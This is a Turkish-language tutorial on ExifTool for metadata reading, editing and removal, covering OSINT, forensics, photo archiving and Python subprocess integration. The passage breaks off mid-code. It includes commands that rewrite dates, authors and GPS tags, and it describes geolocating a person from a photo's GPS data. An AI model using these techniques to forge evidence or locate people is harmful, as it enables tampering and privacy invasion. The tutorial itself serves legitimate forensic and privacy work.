ExifTool Nedir? Dijital Adli Analiz ve Siber Güvenlik İçin

Dijital dünyada oluşturulan hemen her dosya, içerisinde görünmeyen bazı bilgiler barındırır. Bir fotoğrafın çekildiği tarih, kullanılan kamera modeli, GPS koordinatları, düzenleme geçmişi veya oluşturulduğu yazılım gibi bilgiler dosya içerisinde saklanabilir. Bu bilgilere Metadata (Üst Veri) adı verilir.

Bu metadata bilgilerini görüntülemek, düzenlemek ve analiz etmek için kullanılan en güçlü araçlardan biri ExifTool'dur.

Siber güvenlik uzmanları, dijital adli bilişim analistleri (DFIR), OSINT araştırmacıları ve güvenlik ekipleri tarafından yaygın olarak kullanılmaktadır.


ExifTool Nedir?

ExifTool, Phil Harvey tarafından geliştirilen açık kaynaklı bir metadata analiz aracıdır.

Desteklediği dosya türleri:

  • JPG

  • PNG

  • GIF

  • TIFF

  • HEIC

  • RAW görüntüler

  • PDF

  • DOCX

  • XLSX

  • PPTX

  • MP4

  • MOV

  • AVI

  • MP3

  • ZIP

  • Daha yüzlerce farklı format

Temel amaçları:

✔ Metadata okuma

✔ Metadata düzenleme

✔ Metadata silme

✔ Adli inceleme

✔ OSINT araştırmaları

✔ Dosya doğrulama

✔ Veri sızıntısı analizi


Siber Güvenlikte ExifTool Neden Önemlidir?

Bir saldırgan yanlışlıkla paylaştığı bir fotoğrafta:

  • GPS konumunu

  • Kamera modelini

  • İşletim sistemini

  • Kullanıcı adını

bırakmış olabilir.

Bir güvenlik uzmanı ExifTool ile bu bilgileri elde ederek:

  • Tehdit aktörünü profilleyebilir

  • Coğrafi konum tespiti yapabilir

  • Operasyonel güvenlik (OPSEC) hatalarını ortaya çıkarabilir


Kurulum

Kali Linux

sudo apt update
sudo apt install libimage-exiftool-perl -y

Kontrol:

exiftool -ver

Ubuntu

sudo apt install libimage-exiftool-perl

Windows

İndir:

https://exiftool.org

Ardından:

exiftool.exe

şeklinde kullanılabilir.


İlk Analiz

Örnek:

exiftool photo.jpg

Çıktı:

File Name : photo.jpg
File Size : 4.2 MB
Image Width : 4032
Image Height : 3024
Make : Apple
Camera Model Name : iPhone 15 Pro
Create Date : 2026:05:30 18:22:11
GPS Latitude : 39 deg 55' 12.12"
GPS Longitude : 32 deg 51' 43.51"

Buradan:

  • Kamera markası

  • Kamera modeli

  • Tarih

  • GPS konumu

elde edilebilir.


Belirli Alanları Görüntüleme

Kamera Bilgisi

exiftool -model image.jpg

GPS Bilgileri

exiftool -gps:all image.jpg

Tarih Bilgileri

exiftool -time:all image.jpg

Yazılım Bilgileri

exiftool -software image.jpg

Bu bilgi görüntünün:

  • Photoshop

  • GIMP

  • Canva

gibi araçlarla düzenlenip düzenlenmediğini gösterebilir.


Tüm Metadata Grupları

exiftool -G image.jpg

Örnek:

[EXIF]
[IPTC]
[XMP]
[File]
[Composite]

Bu yöntem DFIR çalışmalarında oldukça kullanışlıdır.


JSON Formatında Çıktı Alma

SIEM sistemlerine aktarım için:

exiftool -json image.jpg

Çıktı:

[
{
"FileName":"image.jpg",
"Model":"Canon EOS R5",
"GPSLatitude":"39.9200",
"GPSLongitude":"32.8500"
}
]

CSV Formatı

exiftool -csv image.jpg

Kurumsal raporlama süreçlerinde sık kullanılır.


Klasör Analizi

Bir dizindeki tüm dosyaları tarama:

exiftool Downloads/

Recursive Tarama

Alt klasörler dahil:

exiftool -r Downloads/

OSINT Senaryosu

Bir gazetecinin paylaştığı fotoğraf:

exiftool image.jpg

Sonuç:

GPS Latitude
GPS Longitude

Koordinatlar alınarak haritada konum belirlenebilir.

Bu nedenle birçok kurum paylaşım öncesi metadata temizliği yapar.


Metadata Silme

Tüm Metadata

exiftool -all= image.jpg

Yeni dosya oluşturur:

image.jpg_original

Orijinal Dosyayı Korumadan

exiftool -overwrite_original -all= image.jpg

Metadata Düzenleme

Örnek:

exiftool -Author="Nuri Tiras" rapor.pdf

Tarih Değiştirme

exiftool "-DateTimeOriginal=2026:01:01 12:00:00" image.jpg

GPS Bilgisi Ekleme

exiftool \
-GPSLatitude=39.9200 \
-GPSLongitude=32.8500 \
image.jpg

PDF Analizi

exiftool rapor.pdf

Çıktı:

Creator
Producer
Author
Title
CreateDate

Bu bilgiler:

  • Kullanılan yazılımı

  • Oluşturan kişiyi

  • Belge geçmişini

ortaya çıkarabilir.


Office Dosyaları Analizi

Word:

exiftool belge.docx

Excel:

exiftool tablo.xlsx

PowerPoint:

exiftool sunum.pptx

Elde edilebilecek bilgiler:

  • Şirket adı

  • Kullanıcı adı

  • Son düzenleyen kişi

  • Oluşturulma zamanı


Video Metadata Analizi

exiftool video.mp4

Örnek:

Duration
GPS Coordinates
Encoder
Creation Date
Frame Rate

Mobil cihazlardan gelen videolarda GPS bilgisi bulunabilir.


Toplu Metadata Silme

Bir klasördeki tüm JPG dosyaları:

exiftool -all= *.jpg

Toplu Dönüştürme

Dosya isimlerini çekim tarihine göre değiştirme:

exiftool '-FileName<DateTimeOriginal' *.jpg

Örnek:

2026-05-01_153000.jpg

DFIR (Digital Forensics) Kullanımı

ExifTool şu durumlarda sık kullanılır:

Olay Müdahalesi

  • Şüpheli dosya analizi

  • Veri sızıntısı araştırmaları

  • İç tehdit incelemeleri

Adli İnceleme

  • Zaman çizelgesi oluşturma

  • Belge köken analizi

  • Kullanıcı aktivite takibi


Tehdit Avcılığı Senaryosu

Şüpheli PDF:

exiftool malware.pdf

Sonuç:

Creator: EvilPDF Builder
Producer: PDF Generator v3

Bu bilgiler tehdit aktörü altyapısının belirlenmesinde yardımcı olabilir.


ExifTool + Linux Komutları

Grep ile

exiftool image.jpg | grep GPS

Awk ile

exiftool image.jpg | awk '/GPS/'

JSON + jq

exiftool -json image.jpg | jq .

Bu yöntem SOC ve otomasyon ortamlarında yaygın kullanılır.


Güvenlik Uzmanları İçin En Faydalı 20 Komut

exiftool file.jpg
exiftool -gps:all file.jpg
exiftool -time:all file.jpg
exiftool -G file.jpg
exiftool -a file.jpg
exiftool -u file.jpg
exiftool -json file.jpg
exiftool -csv file.jpg
exiftool -all= file.jpg
exiftool -r .
exiftool -ext jpg .
exiftool -ext pdf .
exiftool -ext docx .
exiftool -Author file.pdf
exiftool -Creator file.pdf
exiftool -Software file.jpg
exiftool -Model file.jpg
exiftool -overwrite_original -all= file.jpg
exiftool '-FileName<DateTimeOriginal' *.jpg
exiftool -ee video.mp4

ExifTool'ün Avantajları

  • Ücretsiz

  • Açık kaynak

  • Çok hızlı

  • Yüzlerce dosya formatı desteği

  • OSINT çalışmalarında etkili

  • DFIR süreçlerinde standart araçlardan biri

  • Linux, Windows ve macOS desteği


Sonuç

ExifTool, yalnızca bir fotoğraf metadata görüntüleme aracı değildir. Modern siber güvenlik operasyonlarında, dijital adli analizlerde, tehdit istihbaratı çalışmalarında ve OSINT araştırmalarında kritik rol oynayan profesyonel bir metadata analiz platformudur.

Bir güvenlik analisti için ExifTool bilgisi; yalnızca dosya incelemek değil, aynı zamanda veri sızıntılarını tespit etmek, tehdit aktörlerinin OPSEC hatalarını ortaya çıkarmak ve dijital delillerden anlamlı istihbarat üretmek anlamına gelir.

Komut satırı araçları ilk başta karmaşık görünebilir, ancak ExifTool dijital dosyalarınızın perde arkasındaki bilgileri (meta verileri) yönetmek için kullanabileceğiniz en güçlü, en esnek ve endüstri standardı haline gelmiş araçtır. Phil Harvey tarafından geliştirilen bu araç; fotoğraflar, videolar, ses dosyaları ve PDF'ler dâhil olmak üzere binlerce dosya formatını destekler.

1. ExifTool Nedir ve Neden Kullanılır?

Meta veri (Metadata), "veri hakkındaki veri"dir. Bir fotoğraf çektiğinizde kameranız dosyaya sadece görüntüyü değil; çekim tarihini, kamera modelini, diyafram/enstantane değerlerini, GPS konumunu ve hatta telif hakkı bilgilerini gizli etiketler (EXIF, IPTC, XMP) olarak kaydeder.

ExifTool şu durumlarda hayat kurtarır:

  • İnternete yüklemeden önce kişisel fotoğraflarınızdan konum (GPS) verilerini silmek.

  • Yanlış tarih ayarıyla çekilmiş binlerce fotoğrafın tarihini toplu olarak düzeltmek.

  • Fotoğraf arşivinizi çekim tarihine göre otomatik olarak klasörlere ayırmak ve yeniden adlandırmak.

  • Dosyalarınıza toplu olarak telif hakkı bilgisi eklemek.

2. Kurulum Aşaması

İşletim sisteminize göre ExifTool'u saniyeler içinde kurabilirsiniz:

  • Windows: Resmi web sitesinden (exiftool.org) Windows çalıştırılabilir dosyasını (.zip) indirin. Zipten çıkan exiftool(-k).exe dosyasının adını exiftool.exe olarak değiştirin ve Windows klasörünüz (örneğin C:\Windows) gibi sistem yolunda olan bir klasöre kopyalayın.

  • macOS: Terminal'i açın ve Homebrew kullanıyorsanız şu komutu girin: brew install exiftool

  • Linux (Debian/Ubuntu): Terminale şu komutu girin: sudo apt install libimage-exiftool-perl

3. Temel Kullanım: Meta Verileri Okuma

ExifTool komut satırından (Windows'ta CMD/PowerShell, Mac/Linux'ta Terminal) çalışır. Temel sözdizimi şu şekildedir: exiftool [seçenekler] [dosya_yolu]

Tüm meta verileri görüntülemek: En basit komuttur. Bir dosyanın içindeki tüm gizli bilgileri listeler.

Bash
exiftool resim.jpg

Belirli etiketleri (tag) filtrelemek: Sadece kameranın marka ve modelini veya çekim tarihini görmek istiyorsanız:

Bash
exiftool -Make -Model -CreateDate resim.jpg

Makine tarafından okunabilir çıktılar almak: Verileri bir yazılımla entegre edecekseniz, çıktıları HTML, CSV veya JSON olarak alabilirsiniz.

Bash
exiftool -json resim.jpg > veri.json

4. Orta Düzey: Meta Verileri Yazma ve Silme

ExifTool ile verileri değiştirmek oldukça basittir. Değer atamak için = işaretini kullanırız.

Yeni bir bilgi eklemek veya mevcut bilgiyi değiştirmek: Fotoğrafa yazar ve telif hakkı bilgisi ekleyelim:

Bash
exiftool -Artist="Ahmet Yılmaz" -Copyright="2026 Ahmet Yılmaz" resim.jpg

Tüm meta verileri silmek (Gizlilik için kritik): Bir fotoğrafı sosyal medyada paylaşmadan önce kameranızın seri numarasını, GPS konumunuzu ve diğer tüm kişisel verileri silmek için:

Bash
exiftool -all= resim.jpg

Önemli Not: ExifTool, veri kaybını önlemek için varsayılan olarak orijinal dosyanın yanına resim.jpg_original adında bir yedek oluşturur. Eğer yedek oluşturmasını istemiyorsanız komutun sonuna -overwrite_original parametresini eklemelisiniz.

Toplu İşlem (Batch Processing): Belirli bir klasördeki tüm fotoğrafların telif hakkını tek bir komutla değiştirmek için dosya adı yerine klasör yolunu (veya * işaretini) verebilirsiniz:

Bash
exiftool -Copyright="2026 Ahmet Yılmaz" /fotograflar/klasoru/

5. İleri Düzey: Otomasyon ve Veri Kopyalama

ExifTool'un gerçek gücü otomasyon yeteneklerinde gizlidir.

Dosyalar arası meta veri kopyalama: Düzenleme yaptığınız ve meta verilerini kaybeden bir TIFF veya JPEG dosyasına, orijinal RAW dosyasından verileri geri aktarmak için:

Bash
exiftool -TagsFromFile orijinal.CR2 duzenlenmis.jpg

Tarih ve Saat Kaydırma (Zaman Dilimi Düzeltme): Kameranızın saatini yanlış ayarladınız ve tüm fotoğraflar 2 saat, 30 dakika geride kalmış. Bunu toplu düzeltmek için:

Bash
exiftool "-AllDates+=0:0:0 2:30:0" klasor_yolu/

(Format: Yıl:Ay:Gün Saat:Dakika:Saniye şeklindedir)

Dosyaları çekim tarihine göre yeniden adlandırma: Karmaşık isimli (örneğin IMG_1234.jpg) fotoğraflarınızı, içerdikleri çekim tarihine göre (örneğin 20260604_193847.jpg) otomatik yeniden adlandırmak için:

Bash
exiftool "-FileName<CreateDate" -d "%Y%m%d_%H%M%S.%%e" /klasor/yolu/

Altın Kurallar ve İpuçları

  1. Test Edin: Büyük bir fotoğraf arşivinde işlem yapmadan önce, komutlarınızı her zaman birkaç kopyalanmış dosya üzerinde deneyin.

  2. Etiket İsimlerini Doğru Bulun: Görmek istediğiniz etiketin tam kod adını bulmak için exiftool -s resim.jpg komutunu kullanın. Bu komut, açıklamaları değil, doğrudan etiket isimlerini (örn: ApertureValue) listeler.

Komut satırı araçlarının mantığını kavramanın en iyi yolu gerçek dünya problemlerini nasıl çözdüklerini görmektir. ExifTool'un esnekliğini tam olarak gösterebilmek için, fotoğrafçılık ve arşiv yönetimi süreçlerinde en sık karşılaşılan 4 farklı örnek senaryo hazırladım.

Senaryo 1: Sosyal Medya Öncesi Tam Gizlilik Temizliği

Durum: Telefonunuzla veya GPS özellikli kameranızla evinizde veya ofisinizde çektiğiniz fotoğrafları internette paylaşacaksınız. Ancak kötü niyetli kişilerin ev adresinizi (GPS verisi) veya cihazınızın seri numarasını bulmasını istemiyorsunuz.

Çözüm: Belirli bir klasördeki tüm .jpg dosyalarının sadece GPS (konum) verilerini temizlemek.

Bash
exiftool -gps:all= -overwrite_original /paylasilacak_fotograflar/

İpucu: -gps:all= komutu konum verilerini silerken, -overwrite_original parametresi yedek dosyalar oluşturmayarak diskinizde yer tasarrufu sağlar. Eğer kameranızın markası dahil her şeyi silmek isterseniz -all= kullanabilirsiniz.

Senaryo 2: Karmaşık Arşivi Yıl ve Aya Göre Otomatik Klasörleme

Durum: Bilgisayarınızdaki "Karışık Fotoğraflar" adlı bir klasörde son 5 yıla ait binlerce fotoğraf var. Hepsini tek tek ayırmak aylar sürer. Bunları otomatik olarak Yıl/Ay şeklindeki alt klasörlere (Örn: 2025/06) taşımak istiyorsunuz.

Çözüm: ExifTool ile fotoğrafların çekim tarihlerini okuyup bu tarihlere göre yeni dizinler (klasörler) oluşturarak dosyaları taşımak.

Bash
exiftool "-Directory<DateTimeOriginal" -d "%Y/%m" /karisik_fotograflar/

İpucu: ExifTool bu komutla 2025 adında bir klasör, onun içine de 06 adında bir alt klasör açar ve o tarihte çekilmiş fotoğrafları otomatik olarak oraya taşır.

Senaryo 3: Çift Kameralı Çekimlerde Zaman Senkronizasyonu

Durum: Bir düğün veya etkinlikte iki farklı kamerayla (Kamera A ve Kamera B) çekim yaptınız. Düzenleme aşamasına geçtiğinizde, Kamera B'nin saatinin Kamera A'ya göre tam olarak 4 dakika 15 saniye geride olduğunu fark ettiniz. Fotoğrafları zaman akışına göre sıraladığınızda her şey birbirine giriyor.

Çözüm: Sadece Kamera B ile çekilen fotoğrafların saatini ileri sararak zamanı senkronize etmek.

Bash
exiftool "-AllDates+=0:0:0 0:4:15" /kamera_b_klasoru/

İpucu: Buradaki zaman formatı Yıl:Ay:Gün Saat:Dakika:Saniye şeklindedir. Sadece dakikayı ve saniyeyi değiştirdiğimiz için ilk bloğu 0:0:0 geçtik. Eğer saat ileri değil de geri olsaydı += yerine -= kullanılırdı.

Senaryo 4: Müşteriye Teslim Öncesi Profesyonel Damgalama (IPTC Verisi)

Durum: Bir fotoğrafçısınız veya dijital ajanssınız. Düzenlediğiniz fotoğrafları bir müşteriye veya stok fotoğraf sitesine teslim edeceksiniz. Dosyaların içine adınızı, telif hakkı uyarınızı ve web sitenizi gömmek istiyorsunuz ki, fotoğraf internette nereye giderse gitsin size ait olduğu anlaşılsın.

Çözüm: IPTC ve EXIF etiketlerini kullanarak iletişim ve telif detaylarını tüm klasöre toplu olarak yazmak.

Bash
exiftool -Creator="Adınız Soyadınız" -CopyrightNotice="© 2026 Adınız Soyadınız - Tüm Hakları Saklıdır" -Contact="iletisim@siteniz.com" /teslimat_klasoru/

ExifTool sadece fotoğrafçılar için değil; sistem yöneticileri, yazılım geliştiriciler ve güvenlik uzmanları için de vazgeçilmez bir araçtır. İşte biraz daha teknik ve farklı alanlara hitap eden senaryolar:

Senaryo 5: Siber Güvenlik ve Adli Bilişim (Blue Team / Forensics)

Durum: Bir siber güvenlik tatbikatında veya zararlı yazılım analizinde, şüpheli bir dosyanın (örneğin bir PDF veya JPEG) kaynağını tespit etmeniz gerekiyor. Standart araçlar dosyada şüpheli bir şey bulamadı, ancak gizli meta verilerde veya standart dışı (unknown) etiketlerde ipuçları olabilir.

Çözüm: ExifTool'u tüm standart dışı ve gizli etiketleri, kategorilerine göre gruplayarak zorla okutmak.

Bash
exiftool -a -u -g1 supheli_dosya.pdf

İpucu: -a parametresi aynı isme sahip kopyalanmış etiketleri gösterir, -u bilinmeyen/standart dışı (unknown) etiketleri listeler, -g1 ise çıktıları (XMP, EXIF, IPTC gibi) gruplayarak analizi kolaylaştırır.

Senaryo 6: Linux Sistem Yönetimi ve Toplu Raporlama

Durum: Laboratuvar ortamındaki veya /opt/ gibi paylaşımlı bir dizindeki yüzlerce dosyanın meta verilerini analiz edip bir envanter çıkarmanız gerekiyor. Dosya tiplerini, oluşturulma tarihlerini ve boyutlarını bir elektronik tabloda incelemek istiyorsunuz.

Çözüm: Tüm klasörü tarayıp, belirli meta verileri doğrudan bir CSV dosyasına aktarmak.

Bash
exiftool -csv -Directory -FileName -MIMEType -FileSize /opt/ortak_dizin/ > rapor.csv

İpucu: Bu komut, belirtilen dizindeki tüm dosyaları tarar ve sadece istediğiniz sütunları içeren temiz bir rapor.csv dosyası oluşturur. Bash betikleriyle sistem otomasyonu yaparken harika bir veri kaynağıdır.

Senaryo 7: Web Geliştirme ve Blog SEO Optimizasyonu

Durum: Nginx üzerinden veya bir Django projesi aracılığıyla yayın yapacağınız kişisel blogunuz için görseller hazırlıyorsunuz. Görsellerin boyutunu küçültmek için gereksiz EXIF verilerini silmek, ancak SEO (Arama Motoru Optimizasyonu) için resimlere açıklama eklemek istiyorsunuz. Ayrıca dikey/yatay dönme (orientation) sorunu yaşamak istemiyorsunuz.

Çözüm: Tüm meta verileri silip, sadece yön bilgisini koruyarak özel bir "Açıklama" (Description) etiketi eklemek.

Bash
exiftool -all= -tagsfromfile @ -Orientation -Description="Pardus Kurulum ve Yapılandırma Rehberi" gorsel.jpg

İpucu: -all= ile her şeyi sildikten sonra, -tagsfromfile @ -Orientation kısmı orijinal dosyadaki yön bilgisini geri getirir, böylece fotoğraf web sitenizde yan dönmez.

Senaryo 8: Öğrenci Dokümanları ve PDF Yönetimi

Durum: Hazırladığınız "Bitirme Projesi" yönergelerini veya sınav rubriklerini PDF olarak dışa aktardınız. Ancak PDF'in özelliklerine bakıldığında yazar kısmında bilgisayarınızın yerel kullanıcı adı (örneğin "user1") veya kullandığınız yazılımın adı görünüyor. Bunu profesyonel bir başlıkla değiştirmek istiyorsunuz.

Çözüm: PDF belgelerinin başlık, yazar ve konu meta verilerini düzenlemek.

Bash
exiftool -Title="2026 Bitirme Projesi Yönergesi" -Author="Nuri Hoca" -Subject="Bilişim Teknolojileri" proje_yonergesi.pdf

İpucu: ExifTool PDF dosyalarının meta verilerini de aynı fotoğraflar gibi kolayca okuyup değiştirebilir.

İşte yazılım geliştirme, sunucu yönetimi ve içerik üreticiliği gibi biraz daha spesifik alanlara odaklanan 4 ileri düzey senaryo daha:

Senaryo 9: İçerik Üreticileri İçin Video Meta Verisi (YouTube & Blog)

Durum: YouTube kanalınız veya blogunuz (örneğin nuritiras.com.tr) için eğitim videoları (MP4, MKV) hazırlıyorsunuz. Videonun içine telif hakkı eklemek ve başlık/açıklama verilerini platformların veya arama motorlarının (SEO) okuyabileceği şekilde doğrudan dosyaya gömmek istiyorsunuz. Çözüm: Sadece fotoğraflara değil, video dosyalarına da meta veri yazmak.

Bash
exiftool -Title="Pardus Ağ Yapılandırması" -Author="Nuri TIRAŞ" -Copyright="2026 nuritiras.com.tr" egitim_videosu.mp4

İpucu: Dosya başkaları tarafından indirilip başka bir yere yüklense bile, dosyanın özelliklerine bakıldığında orijinal yazar ve telif hakkı bilgileriniz videonun içerisinde kalır.

Senaryo 10: Python ve Django Projeleriyle Entegrasyon (JSON Parse Etme)

Durum: EtapMYS gibi Python tabanlı bir yönetim panelinde veya bir Django web projesinde, kullanıcıların yüklediği görsellerin çekim tarihi ve çözünürlük bilgilerini otomatik olarak bir veritabanına kaydetmek istiyorsunuz. ExifTool çıktılarını Python'un anlayacağı bir formata dönüştürmeniz gerekiyor. Çözüm: ExifTool'dan JSON formatında çıktı alıp, bunu arka planda işlemek.

Bash
exiftool -json -ImageWidth -ImageHeight -CreateDate resim.jpg

İpucu: Bu komutu Python içerisinde subprocess modülü ile çağırırsanız, dönen JSON çıktısını doğrudan json.loads() fonksiyonu ile bir Python sözlüğüne (dictionary) dönüştürebilir ve Django modellerinize (models.py) kolayca kaydedebilirsiniz.

Senaryo 11: Şartlı İşlemler (Sadece Belirli Dosyaları Ayıklama)

Durum: NFS üzerinden yapılandırılmış, öğrencilerin veya öğretmenlerin dosya attığı ortak bir ağ klasöründe binlerce fotoğraf var. Siz sadece Apple cihazlarla (veya belirli bir kamera modeliyle) çekilmiş dosyaları bulup başka bir klasöre kopyalamak istiyorsunuz. Diğerlerine dokunulmamalı. Çözüm: ExifTool'un mantıksal -if parametresini kullanarak belirli bir koşulu sağlayan dosyaları filtrelemek ve kopyalamak.

Bash
exiftool -if "$Make eq 'Apple'" -o /hedef_klasor/ /nfs_ortak_klasor/

İpucu: Komut satırındaki $Make değişkeni kameranın markasını temsil eder. Koşul sağlanıyorsa -o (output) parametresi ile dosya hedef klasöre kopyalanır (orijinali yerinde kalır). Bu özellik, devasa veri yığınları arasında samanlıkta iğne aramak için birebirdir.

Senaryo 12: Hızlı Masaüstü ve Mobil Uygulamalar İçin Gömülü Önizleme Çıkartma

Durum: Flutter veya Tauri kullanarak çapraz platform bir uygulama geliştiriyorsunuz. Kullanıcının bilgisayarındaki 40-50 MB'lık büyük boyutlu yüksek çözünürlüklü görselleri uygulamada listelemeniz gerekiyor. Tüm dosyaları hafızaya (RAM) yüklemek uygulamayı donduracağı için, dosyaların içindeki küçük "thumbnail"leri çekmek istiyorsunuz. Çözüm: Orijinal dosyayı işlemeden, içine gömülü olan küçük önizleme görselini ikili veri (binary) olarak dışa aktarmak.

Bash
exiftool -b -ThumbnailImage devasa_foto.jpg > kucuk_onizleme.jpg

İpucu: -b (binary) parametresi, metin verisi yerine doğrudan görselin ikili verisini dışarı aktarır. Bu sayede gigabaytlarca veriyi işlemek yerine, birkaç saniye içinde arayüzde gösterebileceğiniz hafif küçük resimler elde edersiniz.


ExifTool'u Python projelerinize entegre etmek, özellikle web uygulamalarında (Django, FastAPI) veya veri işleme betiklerinde arka planda otomasyon sağlamak için harika bir yöntemdir. Python'un yerleşik subprocess modülü sayesinde, harici bir kütüphaneye bağımlı kalmadan ExifTool komutlarını güvenli bir şekilde çalıştırabilir ve çıktısını doğrudan işleyebilirsiniz.

Aşağıda, bir görselin meta verilerini JSON formatında okuyan, parse eden (anlamlandıran) ve hata yönetimini de içeren kapsamlı bir örnek kod bulabilirsiniz.

1. Meta Verileri Okuma ve JSON İşleme Kodu

Python
import subprocess
import json
import os
import shutil
def get_image_metadata(file_path):
"""
Belirtilen dosyanın meta verilerini ExifTool kullanarak JSON formatında alır.
"""
# 1. Güvenlik Kontrolü: Dosya gerçekten var mı?
if not os.path.exists(file_path):
return {"error": f"Dosya bulunamadı: {file_path}"}
# 2. Sistem Kontrolü: ExifTool sistemde kurulu mu?
if not shutil.which("exiftool"):
return {"error": "ExifTool sistemi bulunamadı. Lütfen terminalde 'exiftool' komutunun çalıştığından emin olun."}
try:
# ExifTool komutunu hazırlıyoruz: exiftool -json <dosya_yolu>
# subprocess.run komutu, işlemin bitmesini bekler.
result = subprocess.run(
["exiftool", "-json", file_path],
stdout=subprocess.PIPE, # Standart çıktıyı (output) yakala
stderr=subprocess.PIPE, # Hata çıktılarını yakala
text=True, # Çıktıyı 'bytes' yerine 'string' (str) olarak al
check=True # Komut başarısız olursa otomatik olarak CalledProcessError fırlat
)
# ExifTool -json parametresi her zaman bir JSON Listesi (Array) döndürür.
# Örn: [ { "SourceFile": "resim.jpg", "Model": "iPhone..." } ]
metadata_list = json.loads(result.stdout)
# Liste boş değilse, ilk elemanı (yani dosyamızın sözlüğünü) dönüyoruz
if metadata_list and isinstance(metadata_list, list):
return metadata_list[0]
return {"error": "Meta veri listesi boş döndü."}
except subprocess.CalledProcessError as e:
# Komut satırı seviyesinde bir hata oluşursa (örn: dosya bozuksa)
return {"error": f"ExifTool Hatası: {e.stderr.strip()}"}
except json.JSONDecodeError:
# Çıktı JSON formatına dönüştürülemezse
return {"error": "ExifTool çıktısı JSON olarak ayrıştırılamadı."}
# --- KULLANIM ÖRNEĞİ ---
if __name__ == "__main__":
# Test için örnek bir dosya yolu belirleyin
ornek_dosya = "fotograf.jpg"
# Gerçek senaryoda test etmek için bilgisayarınızdaki bir resmin adını yazın.
# Kolaylık olsun diye geçici bir test dosyası oluşturalım (opsiyonel)
with open(ornek_dosya, "w") as f: f.write("sahte resim verisi")
print(f"--- {ornek_dosya} Analiz Ediliyor ---")
data = get_image_metadata(ornek_dosya)
# Eğer hata dönmediyse verileri ekrana yazdıralım
if "error" not in data:
print("Dosya Adı:", data.get("SourceFile"))
print("Kamera Markası:", data.get("Make", "Bilinmiyor"))
print("Kamera Modeli:", data.get("Model", "Bilinmiyor"))
print("Çekim Tarihi:", data.get("CreateDate", "Veri Yok"))
print("Görsel Boyutu:", f"{data.get('ImageWidth')}x{data.get('ImageHeight')}")
# GPS verisi var mı kontrolü
if "GPSLatitude" in data and "GPSLongitude" in data:
print(f"Konum: {data['GPSLatitude']}, {data['GPSLongitude']}")
else:
print("Konum Bilgisi: Bu dosyada GPS verisi bulunmuyor.")
else:
print("Hata Oluştu:", data["error"])
# Temizlik (Oluşturduğumuz sahte dosyayı silelim)
if os.path.exists(ornek_dosya):
os.remove(ornek_dosya)

2. Kodun Kritik Noktaları (Neden Böyle Yazdık?)

  • stdout=subprocess.PIPE ve text=True: ExifTool'un ekrana yazdıracağı metni yakalayıp Python içinde bir string değişkenine atamamızı sağlar. text=True demezsek veri bytes olarak gelir ve json.loads() hata verebilir.

  • check=True: Eğer ExifTool çalışırken bir sorun yaşarsa (örneğin işletim sistemi izin vermezse), Python'un sessiz kalmasını engeller ve doğrudan except subprocess.CalledProcessError bloğuna dallanmasını sağlar.

  • data.get("Model", "Bilinmiyor"): Sözlükten (Dictionary) veri okurken asla data["Model"] şeklinde doğrudan okuma yapmayın. Eğer o fotoğrafta "Model" etiketi yoksa Python uygulamanız çöker (KeyError). .get() yöntemi etiket yoksa varsayılan olarak "Bilinmiyor" döndürür ve uygulamanız güvenle çalışmaya devam eder.

3. Bonus: Python ile Meta Veri Yazma (Değiştirme)

Eğer Python kullanarak bir dosyaya bilgi yazmak veya tüm verileri silmek isterseniz JSON çıktısına ihtiyacınız kalmaz. Komutu doğrudan çalıştırıp başarılı olup olmadığını kontrol etmeniz yeterlidir:

Python
def update_copyright(file_path, artist_name):
try:
subprocess.run(
["exiftool", f"-Artist={artist_name}", f"-Copyright=© 2026 {artist_name}", "-overwrite_original", file_path],
check=True,
stdout=subprocess.DEVNULL, # Başarılı mesajlarını ekrana yazdırma (sessiz mod)
stderr=subprocess.PIPE
)
return True
except subprocess.CalledProcessError as e:
print(f"Güncelleme Hatası: {e.stderr}")
return False

⚡ Performans İçin Hayati Altın Kural

ExifTool'un başlatılması (Perl mimarisi üzerinde çalıştığı için) işlemci için bir miktar yük getirir (yaklaşık 0.1 - 0.2 saniye sürer). Eğer 1000 tane fotoğrafı bir for döngüsüne alıp yukarıdaki fonksiyonu 1000 kere çağırırsanız programınız çok yavaş çalışır.

Çözüm: Döngü yerine, dosya yollarını bir liste halinde tek seferde ExifTool'a gönderin:

Python
# Yavaş Yöntem (Kötü):
for dosya in dosya_listesi:
subprocess.run(["exiftool", "-json", dosya])
# Hızlı Yöntem (Doğru):
komut = ["exiftool", "-json"] + dosya_listesi # Tüm dosyaları tek komuta ekle
result = subprocess.run(komut, stdout=subprocess.PIPE, text=True)
bütün_metadatalar = json.loads(result.stdout) # Size 1000 elemanlı tek bir JSON listesi döndürür! 

Bu yöntem, büyük fotoğraf arşivlerini tararken uygulamanızın hızını 10 ila 20 kat artıracaktır.

Python ile otomasyon yeteneklerini daha da ileriye taşıyan, doğrudan sistem yönetimi ve ağ mimarisiyle ilgili bir senaryo üzerinden gidelim.

Senaryo 13: Yönetim Panellerinde Uzaktan Alınan Ekran Görüntülerini Meta Verilerle Arşivleme

Durum: Diyelim ki EtapMYS gibi Python ve PyQt6 tabanlı, okuldaki akıllı tahtaları merkezi olarak kontrol eden bir yönetim paneli geliştiriyorsunuz. Ağdaki Pardus (Cinnamon) yüklü tahtalardan belirli aralıklarla veya şüpheli bir durumda uzaktan ekran görüntüsü (screenshot) alıyorsunuz.

Sadece dosya ismine tahta_15_10_02_26.jpg yazmak güvenilir bir arşivleme yöntemi değildir; dosyaların adı değişebilir veya başka bir klasöre taşındığında hangi laboratuvara veya tahtaya ait olduğu karışabilir.

Çözüm: Ekran görüntüsü panele ulaştığı anda, Python arka planında ExifTool'u çalıştırarak tahtanın IP adresini, MAC adresini ve o an oturum açmış olan öğretmenin adını doğrudan resim dosyasının içine (gizli meta veri olarak) kalıcı şekilde gömmek.

Python Entegrasyon Kodu:

Python
import subprocess
import os
def tahta_goruntusune_veri_isleme(dosya_yolu, tahta_adi, ip_adresi, ogretmen_adi):
"""
Pardus tahtalardan alınan ekran görüntüsünün içine cihaz ve oturum bilgilerini gömer.
"""
if not os.path.exists(dosya_yolu):
print(f"Hata: Görüntü dosyası bulunamadı -> {dosya_yolu}")
return False
# ExifTool komutları:
# DocumentName -> Tahtanın Adı veya Numarası
# Author -> Oturum açan öğretmenin adı
# UserComment -> IP adresi ve ek teknik detaylar
komut = [
"exiftool",
f"-DocumentName={tahta_adi}",
f"-Author={ogretmen_adi}",
f"-UserComment=Kaynak IP: {ip_adresi}",
"-overwrite_original", # Yedek dosya oluşturma, doğrudan üzerine yaz
dosya_yolu
]
try:
# Komutu arka planda çalıştır (stdout'u yutarak sessizce hallet)
subprocess.run(komut, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True)
